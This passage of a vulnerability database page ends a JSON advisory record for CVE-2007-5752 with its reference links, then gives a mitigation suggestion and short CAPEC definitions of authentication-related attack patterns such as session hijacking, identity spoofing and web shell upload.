      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5752"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/38173"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/27430"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/3326"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/482919/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26255"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.